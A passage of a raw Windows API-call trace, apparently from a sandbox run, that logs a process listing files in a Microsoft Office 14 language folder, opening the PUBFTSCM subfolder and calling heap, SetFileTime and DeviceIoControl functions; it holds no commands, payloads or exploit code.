ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02ac500, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe02ac500, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x68013d, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.HXS", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXC", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXT", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e6fbb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x139968, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e38b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45e38b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x9580, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e38b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e6fbb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45e38b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x22180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50c4ab60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRIMARY.CSS", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50c70cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x21788, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSL", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e830b00, ftCreationTime.dwHighDateTime=0x1ca4730, ftLastAccessTime.dwLowDateTime=0x50c70cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e830b00, ftLastWriteTime.dwHighDateTime=0x1ca4730, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSS", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4722d700, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4722d700, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.DOC", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9744d100, ftCreationTime.dwHighDateTime=0x1c7e3af, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9744d100, ftLastWriteTime.dwHighDateTime=0x1c7e3af, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.PPT", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51dd6c00, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x51dd6c00, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.XLS", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45f1aa00, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45f1aa00, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.DOC", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9744d100, ftCreationTime.dwHighDateTime=0x1c7e3af, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9744d100, ftLastWriteTime.dwHighDateTime=0x1c7e3af, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.PPT", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d18b800, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d18b800, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.XLS", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e7da00, ftCreationTime.dwHighDateTime=0x1c5c981, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99e7da00, ftLastWriteTime.dwHighDateTime=0x1c5c981, nFileSizeHigh=0x0, nFileSizeLow=0x4f777, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHKEY.DAT", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0x1f3978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLEX.DAT", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0xcd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLTS.DAT", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0xd18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHPHN.DAT", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b190700, ftCreationTime.dwHighDateTime=0x1c5c981, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b190700, ftLastWriteTime.dwHighDateTime=0x1c5c981, nFileSizeHigh=0x0, nFileSizeLow=0xa03a47, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHSRN.DAT", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe236cf00, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe236cf00, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x6a8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x10980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x41b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf925f00, ftCreationTime.dwHighDateTime=0x1c92dac, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf925f00, ftLastWriteTime.dwHighDateTime=0x1c92dac, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCOLOR.SCM", cAlternateFileName="")) returned 1 [0077.950] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBFTSCM", cAlternateFileName="")) returned 1 [0077.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0077.950] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0077.950] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0077.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xabf2b8 [0077.950] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xabf2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xabf2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0077.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0077.951] NtClose (Handle=0x164) returned 0x0 [0077.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0077.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0077.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0077.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.951] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0077.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.974] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c22e700, ftCreationTime.dwHighDateTime=0x1ca6669, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c22e700, ftLastWriteTime.dwHighDateTime=0x1ca6669, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FONTSCHM.INI", cAlternateFileName="")) returned 1 [0077.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9ad58 [0077.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0077.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafba0 [0077.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9bfe8 [0077.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.975] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47994900, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47994900, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1eea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME01.CSS", cAlternateFileName="")) returned 1 [0077.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafbc0 [0077.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9c1f8 [0077.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3c00) returned 0xabf2b8 [0077.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaca490) returned 1 [0077.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.975] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b96a700, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b96a700, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fbbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME02.CSS", cAlternateFileName="")) returned 1 [0077.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafbe0 [0077.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9c0f0 [0077.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.976] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a657a00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a657a00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f024, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME03.CSS", cAlternateFileName="")) returned 1 [0077.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafc00 [0077.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.977] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29344d00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29344d00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME04.CSS", cAlternateFileName="")) returned 1 [0077.977] RtlAllocateHeap 